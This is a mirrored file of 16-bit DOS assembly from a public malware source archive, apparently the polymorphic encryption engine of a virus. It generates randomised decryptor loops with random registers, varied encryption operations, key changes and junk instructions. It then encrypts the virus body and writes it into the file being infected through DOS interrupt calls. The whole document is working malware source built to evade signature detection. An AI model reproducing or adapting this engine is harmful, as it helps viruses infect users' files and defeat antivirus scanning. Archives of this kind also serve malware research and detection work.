mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-21 10:56:10 +00:00
940 lines
38 KiB
NASM
940 lines
38 KiB
NASM
;----------------------------<<eng.asm>>---------------------------------------
|
|
|
|
_ax equ 0
|
|
_cx equ 1
|
|
_dx equ 2
|
|
_bx equ 3
|
|
_sp equ 4
|
|
_bp equ 5
|
|
_si equ 6
|
|
_di equ 7
|
|
|
|
|
|
engine: mov ds:pointer,ax ; save IP
|
|
mov di,offset decrypt
|
|
mov bx,offset make_count
|
|
mov cx,offset make_key
|
|
mov dx,offset make_ptr
|
|
mov si,offset order_ret
|
|
or bp,11101111b ; SP is used
|
|
call order ; randomize and call registers
|
|
push di ; save start of loop
|
|
push di
|
|
mov si,offset encode
|
|
mov di,offset write_buff
|
|
mov cx,encode_end-encode
|
|
rep movsb ; copy write code
|
|
mov ds:encode_ptr,offset (encode_break-encode)+write_buff
|
|
pop di
|
|
mov bx,offset make_enc
|
|
mov cx,offset make_keychange
|
|
mov dx,offset make_deccount
|
|
mov si,offset make_incptr
|
|
call order ; call routines
|
|
|
|
;=====( Preform loop )=======================================================;
|
|
|
|
mov ax,2
|
|
push ax
|
|
call random ; test BP for 4000?
|
|
pop ax
|
|
jz loop_no_test
|
|
test bp,4000h ; possible to just "Jcc"?
|
|
jnz loop_make_jcc
|
|
loop_no_test: call random
|
|
jz loop_no_test1
|
|
test bp,2000h ; use loop?
|
|
jnz loop_make_jcc
|
|
loop_no_test1: or bp,800h ; do not change flags
|
|
mov ax,2
|
|
cwd
|
|
call random ; try OR/AND/TEST reg,reg
|
|
; or XOR/ADD/OR/SUB reg,0?
|
|
mov al,ds:count_reg ; get counter
|
|
jnz loop_orandtest
|
|
call boolean ; do XOR/OR/ADD or ADD/SUB?
|
|
jnz loop_modify
|
|
call add_reg ; ADD/SUB reg,0
|
|
jmp loop_make_jcc
|
|
|
|
loop_modify: call modify_reg ; XOR/OR/ADD reg,0
|
|
jmp loop_make_jcc
|
|
|
|
loop_orandtest: mov cl,3
|
|
mov ch,al
|
|
shl ch,cl
|
|
or al,ch ; set reg1 as reg2 also
|
|
mov bx,2 ; OR/AND/TEST
|
|
call random_bx
|
|
jnz loop_and
|
|
or ax,9c0h ; OR reg1, reg2
|
|
loop_reverse: call boolean ; use 9 or 11?
|
|
jnz loop_orandteststo
|
|
or ah,2h ; reg2, reg1
|
|
jmp loop_orandteststo
|
|
|
|
loop_and: dec bx
|
|
jnz loop_test
|
|
or ax,21c0h ; AND reg1, reg2
|
|
jmp loop_reverse
|
|
|
|
loop_test: or ax,85c0h ; TEST reg1, reg2
|
|
loop_orandteststo:
|
|
xchg al,ah
|
|
stosw ; store TEST/OR/AND
|
|
or bp,1800h ; do not change flags/
|
|
; test stored
|
|
call garble
|
|
loop_make_jcc: and bp,not 800h
|
|
test bp,2000h ; code loop?
|
|
jz loop_make_jump
|
|
mov al,0e2h ; LOOP
|
|
test bp,1000h ; possible to use LOOPNZ/Z?
|
|
jz loop_code_disp
|
|
call boolean
|
|
jnz loop_code_disp
|
|
dec ax ; LOOPZ
|
|
call boolean
|
|
jnz loop_iscx
|
|
dec ax ; LOOPNZ
|
|
jmp loop_code_disp
|
|
|
|
;=====( Now make conditional jump )==========================================;
|
|
|
|
jcc_tbl: db 75h,79h,7dh,7fh ; JNE/JNS/JG/JGE
|
|
|
|
loop_make_jump: mov bx,offset jcc_tbl
|
|
mov ax,3
|
|
call random
|
|
xlat ; get Conditional jump
|
|
mov bx,2
|
|
call random_bx ; use JE/JS/LE/L then JMP?
|
|
jnz loop_code_disp
|
|
cmp ds:count_reg,_cx ; CX is counter?
|
|
jnz loop_notcx
|
|
mov bl,4
|
|
call random_bx
|
|
jnz loop_notcx
|
|
mov al,0e3h + 1 ; JCXZ + 1
|
|
loop_notcx: dec ax
|
|
loop_iscx: stosw
|
|
cmp al,07fh ; Jcxz/loopz?
|
|
ja loop_code_short
|
|
call boolean ; Use opposite or EB?
|
|
jnz loop_code_short
|
|
or bp,800h ; dont change flags
|
|
loop_code_short:mov si,di ; save offset of displacement
|
|
call garble
|
|
lea ax,ds:[si-2]
|
|
sub ax,di
|
|
neg al ; get jump displacement
|
|
mov ds:[si-1],al ; save it
|
|
test bp,800h ; Dont change flags -> "Jcc"
|
|
mov al,0ebh ; Jmp short
|
|
je loop_code_disp
|
|
mov ax,3
|
|
call random
|
|
mov bx,offset jcc_tbl
|
|
xlat ; Get JNE/JNS/JG/JGE
|
|
loop_code_disp: stosb ; store jump
|
|
pop ax ; start of loop
|
|
dec ax
|
|
sub ax,di ; get loop displacement
|
|
stosb
|
|
or bp,11101111b ; free all registers
|
|
and bp,not 800h ; allow flags to change
|
|
call garble
|
|
mov ax,19
|
|
call random ; 1 in 20 chance of non-jmp
|
|
jnz loop_code_jmp
|
|
mov ax,ds:pointer
|
|
add ax,offset file_start ; where to jump
|
|
xchg dx,ax
|
|
call get_reg ; get a register
|
|
call mov_reg ; Mov value into register
|
|
or ax,0ffc0h + (4 shl 3) ; JMP reg16
|
|
call boolean ; PUSH/RET or JMP reg16?
|
|
jnz loop_code_push
|
|
xchg al,ah
|
|
jmp loop_code_stosw
|
|
|
|
loop_code_push: mov bx,2
|
|
call random_bx ; 1 in 3 chance of FF /6 PUSH
|
|
jnz loop_code_push1
|
|
xor al,(6 shl 3) xor (4 shl 3) ; PUSH reg
|
|
xchg al,ah
|
|
stosw
|
|
jmp loop_code_ret
|
|
|
|
loop_code_push1:xor al,50h xor (0c0h or (4 shl 3)) ; PUSH reg
|
|
stosb
|
|
loop_code_ret: call garble
|
|
mov al,0c3h ; RETN
|
|
stosb
|
|
jmp loop_code_end
|
|
|
|
loop_code_jmp: mov al,0e9h
|
|
stosb ; Store Jump
|
|
lea ax,ds:[di-((file_start-2)-v_start)]
|
|
neg ax ; Jmp file_start
|
|
loop_code_stosw:stosw
|
|
loop_code_end: mov si,ds:encode_enc_ptr ; get encrypt instruction ptr
|
|
cmp di,offset header ; Decryptor is too large?
|
|
jb go_write_buff
|
|
stc ; return error
|
|
pushf
|
|
pop bp
|
|
retn
|
|
|
|
go_write_buff: jmp write_buff ; encrypt/write/decrypt
|
|
|
|
|
|
;=====( Inc pointer )========================================================;
|
|
|
|
make_incptr: mov ax,word ptr ds:ptr_reg ; get pointer registers
|
|
mov dx,2 ; ADD ptr,2
|
|
cmp ah,-1 ; two registers used?
|
|
jz make_incptr_1
|
|
call boolean ; do one or both?
|
|
jnz make_incptr_do1
|
|
dec dx ; ADD ptr,1
|
|
call make_incptr_do1
|
|
jmp make_incptr_2
|
|
|
|
make_incptr_do1:call boolean
|
|
jnz make_incptr_1
|
|
make_incptr_2: xchg al,ah
|
|
make_incptr_1: call add_reg
|
|
sub ds:disp,dx ; add to displacement
|
|
retn
|
|
|
|
;=====( Dec counter )========================================================;
|
|
|
|
make_deccount: cmp si,offset make_deccount ; last operation?
|
|
jnz make_deccount_notlast
|
|
call boolean ; do it?
|
|
jnz make_deccount_notlast
|
|
or bp,4800h ; remember we're last
|
|
make_deccount_notlast:
|
|
mov al,ds:count_reg
|
|
cmp al,_cx ; possible to use LOOP/LOOPNZ?
|
|
jnz make_deccount_notcx
|
|
call boolean
|
|
jnz make_deccount_notcx
|
|
or bp,2000h ; do LOOP
|
|
jmp make_deccount_exit
|
|
|
|
make_deccount_notcx:
|
|
mov dx,-1 ; ADD counter,-1
|
|
call add_reg
|
|
make_deccount_exit:
|
|
or bp,400h ; deccount executed
|
|
retn
|
|
|
|
;=====( Make encryption instruction )========================================;
|
|
|
|
make_enc: push bp
|
|
and bp,not 400h
|
|
mov al,ds:key_reg
|
|
push ax ; save key register
|
|
make_enc_which: mov ax,4 ; ADD/SUB/XOR/ROR/ROL
|
|
call random
|
|
mov bx,0105h ; ADD [DI],AX
|
|
mov cx,1119h ; ADC/SBB
|
|
mov dx,2905h ; SUB [DI],AX
|
|
jz make_enc_add
|
|
dec ax
|
|
jz make_enc_sub
|
|
dec ax
|
|
jnz make_enc_ror
|
|
mov bh,31h ; XOR
|
|
mov dx,3105h ; XOR [DI],AX
|
|
jmp make_enc_sto
|
|
|
|
make_enc_ror: cmp ds:key_reg,_cx ; CX is key?
|
|
jne make_enc_which
|
|
or bp,400h ; Put XCHG CX,AX
|
|
mov bh,0d3h
|
|
mov dx,0d30dh ; ROL
|
|
dec ax
|
|
jz r_make_enc_sto
|
|
xchg bx,dx ; ROR
|
|
r_make_enc_sto: mov ds:key_reg,al ; 1 SHL 3 = 08 / D3 08
|
|
; D3 00 = ROL [],CL
|
|
jmp make_enc_sto
|
|
|
|
make_enc_sub: xchg dh,bh ; SUB - ADD [DI],AX
|
|
xchg cl,ch ; SBB/ADC
|
|
make_enc_add: call boolean ; do Carry?
|
|
jnz make_enc_sto
|
|
push bx
|
|
mov bh,ch ; Make it ADC/SBB
|
|
call clear_carry
|
|
cmp al,0
|
|
org $ - 1
|
|
make_enc_sto: push bx
|
|
test bp,8000h ; EXE file?
|
|
jz make_enc_com
|
|
call is_bp_ptr ; is BP a pointer?
|
|
je make_enc_com
|
|
mov al,2eh ; CS:
|
|
call boolean
|
|
jnz make_enc_cs
|
|
mov al,36h ; SS:
|
|
make_enc_cs: stosb ; store segment override
|
|
make_enc_com: mov al,bh
|
|
stosb ; store instruction
|
|
mov ax,word ptr ds:ptr_reg ; get pointer registers
|
|
cmp ah,-1 ; second reg?
|
|
je make_enc_xlat
|
|
add al,ah
|
|
make_enc_xlat: mov bx,offset rm_tbl
|
|
xlat ; get r/m
|
|
call is_bp_ptr ; is BP a pointer?
|
|
jnz make_enc_nobp
|
|
inc ah ; is there a second reg?
|
|
jne make_enc_nobp
|
|
or al,01000000b ; [BP+xx]
|
|
make_enc_nobp: mov cx,ds:disp ; get displacement
|
|
mov bx,6
|
|
call random_bx ; allow no displacement?
|
|
jz make_enc_get_disp
|
|
jcxz make_enc_sto_rm
|
|
make_enc_get_disp:
|
|
or al,01000000b ; 8bit displacement
|
|
call boolean ; allow 8bit displacement?
|
|
jnz make_enc_16bit
|
|
cmp cx,7fh ; 8bit displacement?
|
|
jbe make_enc_sto_rm
|
|
cmp cx,-80h
|
|
jb make_enc_16bit
|
|
xor ch,ch
|
|
cmp ax,0
|
|
org $ - 2
|
|
make_enc_16bit: xor al,11000000b ; 8bit off, 16bit on
|
|
make_enc_sto_rm:mov ah,ds:key_reg
|
|
shl ah,1
|
|
shl ah,1
|
|
shl ah,1 ; from bits 0-2 of AH
|
|
or al,ah ; to bits 3-5 of AL
|
|
stosb ; store r/m byte
|
|
test al,11000000b ; any displacement?
|
|
jz make_enc_disp
|
|
test al,10000000b ; 16bit displacement?
|
|
xchg cx,ax
|
|
stosw ; store displacement
|
|
jnz make_enc_disp
|
|
dec di ; 8bit only
|
|
make_enc_disp: xchg di,ds:encode_ptr ; get encode ptr
|
|
test bp,400h ; store XCHG CX,AX?
|
|
je make_enc_nor
|
|
mov al,91h ; XCHG CX,AX
|
|
stosb
|
|
make_enc_nor: xchg dx,ax
|
|
xchg al,ah
|
|
mov ds:encode_enc_ptr,di ; save instruction pointer
|
|
stosw ; set encryption instruction
|
|
je make_enc_nor1
|
|
mov al,91h ; XCHG CX,AX
|
|
stosb
|
|
make_enc_nor1: xchg di,ds:encode_ptr ; restore decrypt ptr
|
|
pop ax
|
|
xchg al,ah
|
|
mov word ptr ds:write_buff[encode_flip-encode],ax
|
|
; save opposite operation
|
|
pop ax
|
|
mov ds:key_reg,al ; restore key register
|
|
pop bp
|
|
retn
|
|
|
|
rm_tbl: db -1,-1,-1,7,-1,6,4,5,-1,0,1,2,3 ; -1's not used
|
|
|
|
;=====( Change key )=========================================================;
|
|
|
|
make_keychange: call boolean ; change key?
|
|
jnz make_keychange_yes
|
|
retn
|
|
|
|
make_keychange_yes:
|
|
push bp
|
|
or bp,200h ; let know that keychange
|
|
mov ax,3
|
|
call random ; 1 in 4 chance of modify_reg
|
|
jnz keychange_other
|
|
call random_1
|
|
xchg dx,ax ; Random value to modify key
|
|
; reg by
|
|
mov al,ds:key_reg
|
|
call modify_reg ; XOR/ADD/OR
|
|
keychange_stoop:xchg di,ds:encode_ptr ; get ptr to encode
|
|
inc di ; CLC
|
|
mov al,ds:modify_op ; get operation
|
|
stosb
|
|
keychange_stodx:xchg dx,ax ; store value/operation
|
|
keychange_sto: stosw
|
|
xchg di,ds:encode_ptr ; get decrypt pointer
|
|
pop bp
|
|
retn
|
|
|
|
keychange_other:mov al,4 ; ROR/ROL/NOT/NEG/ADD
|
|
call random
|
|
jnz keychange_rol
|
|
mov ax,0d1c0h ; ROR AX,1
|
|
keychange_cl: mov bx,2 ; 1 in 3 chance of ,CL
|
|
call random_bx
|
|
jnz keychange_nocl
|
|
cmp ds:count_reg,_cx ; Count is CX?
|
|
jne keychange_nocl
|
|
test bp,400h ; Count already decremented?
|
|
jnz keychange_nocl
|
|
or ah,2 ; By CL
|
|
keychange_nocl: xchg al,ah
|
|
push ax
|
|
or ah,ds:key_reg ; set key register
|
|
stosw ; store instruction
|
|
pop ax
|
|
xchg di,ds:encode_ptr ; get encode ptr
|
|
jmp keychange_sto
|
|
|
|
keychange_rol: dec ax
|
|
jnz keychange_not
|
|
mov ax,0d1c0h or (1 shl 3) ; ROL AX,1
|
|
jmp keychange_cl
|
|
|
|
keychange_not: dec ax
|
|
jnz keychange_neg
|
|
mov ax,0f7c0h + (2 shl 3) ; NOT AX
|
|
jmp keychange_nocl
|
|
|
|
keychange_neg: dec ax
|
|
jnz keychange_add
|
|
mov ax,0f7c0h + (3 shl 3) ; NEG AX
|
|
jmp keychange_nocl
|
|
|
|
keychange_add: call random_1
|
|
xchg dx,ax
|
|
mov al,ds:key_reg ; get key register
|
|
call add_reg ; ADD reg(ax), value(dx)
|
|
jmp keychange_stoop
|
|
|
|
;=====( Build key )==========================================================;
|
|
|
|
make_key: call get_reg ; get register
|
|
xchg dx,ax
|
|
call random_1 ; get key
|
|
mov ds:key,ax ; save key
|
|
xchg dx,ax
|
|
mov ds:key_reg,al ; save register
|
|
call mov_reg ; MOV reg(ax),value(dx)
|
|
retn
|
|
|
|
;=====( Build counter )======================================================;
|
|
|
|
make_count: call get_reg ; get register
|
|
mov ds:count_reg,al ; save register
|
|
mov dx,(decrypt-v_start)/2 ; # of words to crypt
|
|
call mov_reg ; mov reg(ax),value(dx)
|
|
retn
|
|
|
|
;=====( Build Pointer )======================================================;
|
|
|
|
make_ptr: mov dx,ds:pointer
|
|
call get_ptr_reg ; get DI/SI/BP/BX
|
|
mov ds:ptr_reg,al
|
|
mov ds:ptr_reg1,-1
|
|
mov bx,3
|
|
call random_bx ; 1 in 4 chance of 2 regs
|
|
jnz make_ptr_2
|
|
cmp al,_si
|
|
mov bx,11000000b ; DI/SI
|
|
jb make_ptr_test
|
|
mov bl,00101000b ; BP/BX
|
|
make_ptr_test: test bp,bx ; 'other' availible?
|
|
jz make_ptr_2
|
|
make_ptr_again: call get_ptr_reg ; get DI/SI/BP/BX
|
|
push ax
|
|
call conv_num ; convert to bit-map number
|
|
test al,bl ; is it other type?
|
|
pop ax
|
|
jnz make_ptr_ok
|
|
call del_reg ; delete register
|
|
jmp make_ptr_again
|
|
|
|
make_ptr_ok: mov ds:ptr_reg1,al ; save second register
|
|
mov bx,-1
|
|
call random_bx
|
|
sub dx,bx ; randomize values
|
|
xchg bx,dx
|
|
call mov_reg ; mov reg(ax), value(dx)
|
|
xchg bx,dx
|
|
mov al,ds:ptr_reg ; get first reg
|
|
make_ptr_2: xor bx,bx ; zero displacement
|
|
call boolean ; use one?
|
|
jnz make_ptr_nodisp
|
|
mov bx,-1
|
|
call random_bx
|
|
sub dx,bx ; subtract displacement
|
|
make_ptr_nodisp:mov ds:disp,bx ; save displacement
|
|
call mov_reg ; mov reg(ax), value(dx)
|
|
retn
|
|
|
|
;=====( Shell for mov_reg1 )=================================================;
|
|
|
|
mov_reg: push bx dx
|
|
mov bx,4
|
|
call random_bx ; 1 in 5 chance of MOV/ADD/SUB
|
|
jnz mov_reg_call
|
|
mov bx,-1
|
|
call random_bx ; get random #
|
|
sub dx,bx ; MOV reg, value-random #
|
|
call mov_reg1 ; do MOV reg,
|
|
mov dx,bx
|
|
call add_reg ; Now add difference
|
|
pop dx bx
|
|
retn
|
|
|
|
mov_reg_call: pop dx bx
|
|
|
|
;=====( Mov reg(ax), value(dx) )=============================================;
|
|
|
|
mov_reg1: push ax bx cx dx
|
|
cbw
|
|
mov bx,2
|
|
call random_bx ; MOV or SUB/XOR ADD/OR/XOR
|
|
jz mov_reg_other
|
|
mov bl,2
|
|
call random_bx ; 1 in 3 chance of c6/c7 MOV
|
|
jnz mov_reg_b0
|
|
or ax,0c7c0h ; MOV reg,imm
|
|
call boolean ; Do long MOV or LEA?
|
|
jnz mov_reg_c7
|
|
mov cl,3
|
|
shl al,cl ; Reg -> bits 3,4,5
|
|
xor ax,(8d00h or 110b) xor 0c700h ; LEA reg,[imm]
|
|
mov_reg_c7: xchg al,ah
|
|
stosw ; store it
|
|
mov_reg_sto: xchg dx,ax
|
|
stosw ; store value
|
|
call garble
|
|
mov_reg_exit: jmp modify_pop
|
|
|
|
mov_reg_b0: or al,0b8h ; MOV reg,imm
|
|
stosb
|
|
jmp mov_reg_sto
|
|
|
|
mov_reg_other: push ax
|
|
mov cl,3
|
|
mov ch,al
|
|
shl ch,cl ; copy reg1 to reg2
|
|
or al,ch ; set it
|
|
call boolean
|
|
jnz mov_reg_other1
|
|
or ah,2 ; reg1, reg2 -> reg2, reg1
|
|
mov_reg_other1: call boolean
|
|
jnz mov_reg_xor
|
|
or ax,29c0h ; SUB reg, reg
|
|
call boolean
|
|
jnz mov_reg_other_sto
|
|
xor ah,19h xor 29h ; SBB reg, reg
|
|
call clear_carry ; clear carry flag
|
|
mov_reg_other_sto:
|
|
xchg al,ah
|
|
stosw
|
|
call garble
|
|
pop ax
|
|
call modify_reg ; ADD/OR/XOR reg(ax),value(dx)
|
|
jmp mov_reg_exit
|
|
|
|
mov_reg_xor: or ax,31c0h ; XOR AX,AX
|
|
jmp mov_reg_other_sto
|
|
|
|
;=====( ADD/OR/XOR reg(ax), value(dx) )======================================;
|
|
|
|
modify_reg: push ax bx cx dx
|
|
cbw
|
|
mov bx,2
|
|
call random_bx
|
|
mov cx,3500h + (6 shl 3) ; XOR
|
|
jz modify_reg_cont
|
|
mov cx,0d00h + (1 shl 3) ; OR
|
|
dec bx
|
|
jz modify_reg_cont
|
|
modify_reg_add: mov cx,0500h ; ADD
|
|
call boolean ; ADC or ADD?
|
|
jnz modify_reg_cont
|
|
mov cx,1500h + (2 shl 3) ; ADC
|
|
modify_reg_clc: call clear_carry ; Clear carry flag
|
|
modify_reg_cont:test bp,200h ; keychange executing?
|
|
jz modify_reg_nosave
|
|
mov ds:modify_op,ch ; save AX operation
|
|
modify_reg_nosave:
|
|
call boolean ; check if AX?
|
|
jnz modify_reg_noax
|
|
or al,al ; AX?
|
|
jnz modify_reg_noax
|
|
mov al,ch
|
|
stosb ; store instruction
|
|
xchg dx,ax
|
|
modify_sto: stosw ; store value
|
|
modify_exit: call garble
|
|
modify_pop: pop dx cx bx ax
|
|
retn
|
|
|
|
modify_reg_noax:or ax,81c0h
|
|
or al,cl ; XOR/OR/ADD
|
|
call boolean ; sign extend?
|
|
jnz modify_reg_nosign
|
|
cmp dx,7fh ; possible to sign extend?
|
|
jbe modify_sign
|
|
cmp dx,-80h
|
|
jb modify_reg_nosign
|
|
modify_sign: or ah,2 ; sign extend
|
|
modify_reg_nosign:
|
|
xchg al,ah
|
|
stosw
|
|
test al,2 ; sign extended?
|
|
xchg dx,ax
|
|
je modify_sto
|
|
stosb
|
|
jmp modify_exit
|
|
|
|
;=====( ADD reg(ax), value(dx) )=============================================;
|
|
|
|
add_reg: push ax bx cx dx
|
|
cbw
|
|
mov cx,dx
|
|
add_loop: mov bx,3
|
|
call random_bx ; 1 in 4 chance of ADD/SUB
|
|
jz add_noinc
|
|
mov bx,40c0h ; INC reg
|
|
test bp,200h ; keychange running?
|
|
jz add_nosave
|
|
mov ds:modify_op,05h ; ADD AX,
|
|
add_nosave: cmp cx,3h ; too high to INC?
|
|
jb add_inc
|
|
neg cx
|
|
cmp cx,3h ; too low to DEC?
|
|
ja add_noinc
|
|
mov bx,48c0h + (1 shl 3) ; DEC reg
|
|
test bp,200h
|
|
jz sub_nosave
|
|
mov ds:modify_op,2dh ; SUB AX,
|
|
sub_nosave: inc dx
|
|
inc cx
|
|
cmp ax,0
|
|
org $ - 2
|
|
add_inc: dec dx
|
|
dec cx
|
|
push ax
|
|
mov ax,5
|
|
call random ; 1 in 6 chance of FF
|
|
pop ax
|
|
push ax
|
|
jnz add_inc_40
|
|
mov ah,0ffh
|
|
xchg bl,bh
|
|
xchg al,ah ; AL=ff AH=Reg
|
|
stosb
|
|
xchg al,ah
|
|
add_inc_40: or al,bh ; set DEC/INC
|
|
stosb
|
|
pop ax
|
|
call garble
|
|
or dx,dx ; all done?
|
|
jnz add_loop
|
|
add_reg_exit: jmp modify_pop
|
|
|
|
add_noinc: call boolean ; ADD or SUB?
|
|
jz sub_reg
|
|
jmp modify_reg_add
|
|
|
|
sub_reg: test bp,200h ; keychange?
|
|
jnz sub_reg_key
|
|
neg dx
|
|
sub_reg_key: mov cx,2d00h + (5 shl 3) ; SUB
|
|
call boolean ; use SBB?
|
|
jz sbb_reg
|
|
jmp modify_reg_cont
|
|
|
|
sbb_reg: mov cx,1d00h + (3 shl 3) ; SBB
|
|
jmp modify_reg_clc
|
|
|
|
;=====( clear carry flag )===================================================;
|
|
|
|
clear_carry: push ax bp
|
|
or bp,800h ; don't change flags
|
|
mov al,0f8h ; CLC
|
|
call boolean
|
|
jnz clear_carry_clc
|
|
mov ax,0f5f9h ; STC/CMC
|
|
stosb
|
|
call garble
|
|
xchg al,ah
|
|
clear_carry_clc:stosb
|
|
call garble
|
|
pop bp ax
|
|
retn
|
|
|
|
garble: push ax
|
|
mov ax,2
|
|
call random ; how many times to call?
|
|
xchg cx,ax
|
|
jcxz garble_exit
|
|
garble_loop: call garble1
|
|
loop garble_loop
|
|
garble_exit: xchg cx,ax
|
|
pop ax
|
|
retn
|
|
|
|
;=====( add garbage code )===================================================;
|
|
|
|
garble1: push ax bx cx dx bp
|
|
test bp,100h ; Garble already executing?
|
|
jnz garble_ret
|
|
and bp,not 200h ; keychange not executing
|
|
or bp,100h ; Garble executing
|
|
call boolean
|
|
jnz garble_ret
|
|
mov cl,3
|
|
call random_1
|
|
xchg dx,ax ; DX=random number
|
|
call get_reg ; get register
|
|
jc garble_ret
|
|
mov bx,6
|
|
test bp,800h ; flag change allowed?
|
|
jz garble_f
|
|
mov bl,2
|
|
garble_f: call random_bx ; MOV/1BYTE/XCHG/MODIFY/ADD/MOV?
|
|
jnz garble_xchg
|
|
or ah,89h
|
|
garble_reg_set: call boolean ; reg1, reg2 or reg2, reg1?
|
|
jz garble_reg_reg
|
|
or ah,2 ; 8b
|
|
xchg al,dl
|
|
garble_reg_reg: and dl,7 ; Get register values only
|
|
and al,7
|
|
shl dl,cl
|
|
or al,0c0h ; MOV reg1, random reg
|
|
or al,dl
|
|
xchg al,ah
|
|
stosw
|
|
garble_ret: pop bp
|
|
jmp modify_pop
|
|
|
|
garble_xchg: dec bx
|
|
jnz garble_1byte
|
|
xchg dx,ax
|
|
call get_reg ; get another reg
|
|
jc garble_ret
|
|
xchg dx,ax ; AL=reg1 DL=reg2
|
|
call boolean
|
|
jnz garble_xchgnoax
|
|
or dl,dl ; AX?
|
|
jz garble_xchgax
|
|
or al,al
|
|
jz garble_xchgax
|
|
garble_xchgnoax:or ah,87h ; XCHG reg1,
|
|
jmp garble_reg_reg
|
|
|
|
garble_xchgax: or al,90h
|
|
or al,dl ; XCHG AX, reg
|
|
garble_stosb: stosb
|
|
jmp garble_ret
|
|
|
|
garble_1byte: dec bx
|
|
jnz garble_modify
|
|
mov al,4
|
|
call random
|
|
mov bx,offset garble_1byte_tbl
|
|
xlat ; get 1 byte instruction
|
|
jmp garble_stosb
|
|
|
|
garble_modify: dec bx
|
|
jnz garble_add
|
|
call modify_reg ; ADD/XOR/OR reg1, random #
|
|
jmp garble_ret
|
|
|
|
garble_add: dec bx
|
|
jnz garble_mov
|
|
call add_reg ; ADD/SUB reg1, random #
|
|
jmp garble_ret
|
|
|
|
garble_mov: dec bx
|
|
jnz garble_op
|
|
call mov_reg ; MOV reg1, random #
|
|
jmp garble_ret
|
|
|
|
garble_op: and dh,00111000b ; get rnd op
|
|
mov ah,1
|
|
or ah,dh
|
|
jmp garble_reg_set
|
|
|
|
garble_1byte_tbl:
|
|
db 2eh
|
|
db 36h
|
|
cld
|
|
std
|
|
sti
|
|
|
|
;=====( Is BP a Pointer? )===================================================;
|
|
|
|
is_bp_ptr: cmp ds:ptr_reg,_bp
|
|
je bp_is_ptr
|
|
cmp ds:ptr_reg1,_bp
|
|
bp_is_ptr: retn
|
|
|
|
;=====( Get pointer register (DI/SI/BP/BX) )=================================;
|
|
|
|
get_ptr_regnext:call del_reg ; restore register to pool
|
|
|
|
get_ptr_reg: call get_reg ; get register
|
|
cmp al,_bx
|
|
je got_ptr_reg
|
|
cmp al,_bp
|
|
jb get_ptr_regnext
|
|
got_ptr_reg: retn
|
|
|
|
;=====( return random register in AL )=======================================;
|
|
|
|
get_reg: test bp,11101111b ; any registers free?
|
|
stc
|
|
jz get_reg_exit
|
|
get_reg_loop: mov ax,7
|
|
call random
|
|
push ax
|
|
cbw
|
|
call conv_num ; convert to bit map
|
|
test bp,ax ; is register free?
|
|
pushf
|
|
not ax
|
|
and bp,ax ; mark register
|
|
popf
|
|
pop ax
|
|
jz get_reg_loop
|
|
get_reg_exit: retn
|
|
|
|
;=====( Restore register to pool )===========================================;
|
|
|
|
del_reg: push ax
|
|
cbw
|
|
call conv_num ; convert to bit number
|
|
or bp,ax ; restore register
|
|
pop ax
|
|
retn
|
|
|
|
;=====( convert number to bit map )==========================================;
|
|
|
|
conv_num: push cx
|
|
mov cl,al
|
|
mov al,1
|
|
shl al,cl
|
|
pop cx
|
|
retn
|
|
|
|
;=====( randomize order of BX/CX/DX/SI, then call )==========================;
|
|
|
|
order: call garble
|
|
mov ax,2
|
|
call random
|
|
xchg cx,ax
|
|
inc cx
|
|
order_loop: call boolean
|
|
jnz order1
|
|
xchg bx,ax
|
|
order1: call boolean
|
|
jnz order2
|
|
xchg dx,ax
|
|
order2: call boolean
|
|
jnz order3
|
|
xchg si,ax
|
|
order3: loop order_loop
|
|
push si dx bx ax
|
|
order_ret: retn
|
|
|
|
;=====( return random number between 0 and ffff in bx )======================;
|
|
|
|
random_bx: xchg bx,ax
|
|
call random
|
|
xchg bx,ax
|
|
retn
|
|
|
|
;=====( flip Sign bit )======================================================;
|
|
|
|
boolean: push ax
|
|
mov ax,1
|
|
call random
|
|
pop ax
|
|
retn
|
|
|
|
;=====( return random number between 0 and ffff )============================;
|
|
|
|
random_1: mov ax,-1
|
|
|
|
;=====( Generate random number between 0 and AX )============================;
|
|
|
|
random: push ds bx cx dx ax
|
|
xor ax,ax
|
|
int 1ah
|
|
push cs
|
|
pop ds
|
|
in al,40h
|
|
xchg cx,ax
|
|
xchg dx,ax
|
|
mov bx,offset ran_num
|
|
xor ds:[bx],ax
|
|
rol word ptr ds:[bx],cl
|
|
xor cx,ds:[bx]
|
|
rol ax,cl
|
|
xor dx,ds:[bx]
|
|
ror dx,cl
|
|
xor ax,dx
|
|
imul dx
|
|
xor ax,dx
|
|
xor ds:[bx],ax
|
|
pop cx
|
|
xor dx,dx
|
|
inc cx
|
|
je random_ret
|
|
div cx
|
|
xchg ax,dx
|
|
random_ret: pop dx cx bx ds
|
|
or ax,ax
|
|
retn
|
|
|
|
ran_num dw ?
|
|
|
|
;=====( Encrypts the code/writes it/decrypts code )==========================;
|
|
|
|
encode: mov bx,ds:handle
|
|
mov ax,0
|
|
key = word ptr $ - 2
|
|
mov cx,(decrypt-v_start)/2
|
|
xor di,di
|
|
encode_break: clc
|
|
clc
|
|
clc
|
|
clc ; XCHG CX,AX XCHG CX,AX
|
|
clc
|
|
clc ; CLC ADD AX,xxxx / XOR [DI],AX
|
|
clc
|
|
clc ; XOR [DI],AX / CLC ADD AX,xxxx
|
|
inc di
|
|
inc di
|
|
loop encode_break
|
|
encode_ret = byte ptr $
|
|
mov ah,40h
|
|
mov cx,file_size
|
|
cwd
|
|
pushf
|
|
call cs:int_21
|
|
jc encode_flag
|
|
sub ax,cx
|
|
encode_flag: pushf
|
|
pop bp
|
|
mov word ptr ds:[si],0
|
|
encode_flip = word ptr $ - 2
|
|
mov byte ptr ds:write_buff[encode_ret-encode],0c3h
|
|
jmp encode
|
|
encode_end:
|
|
|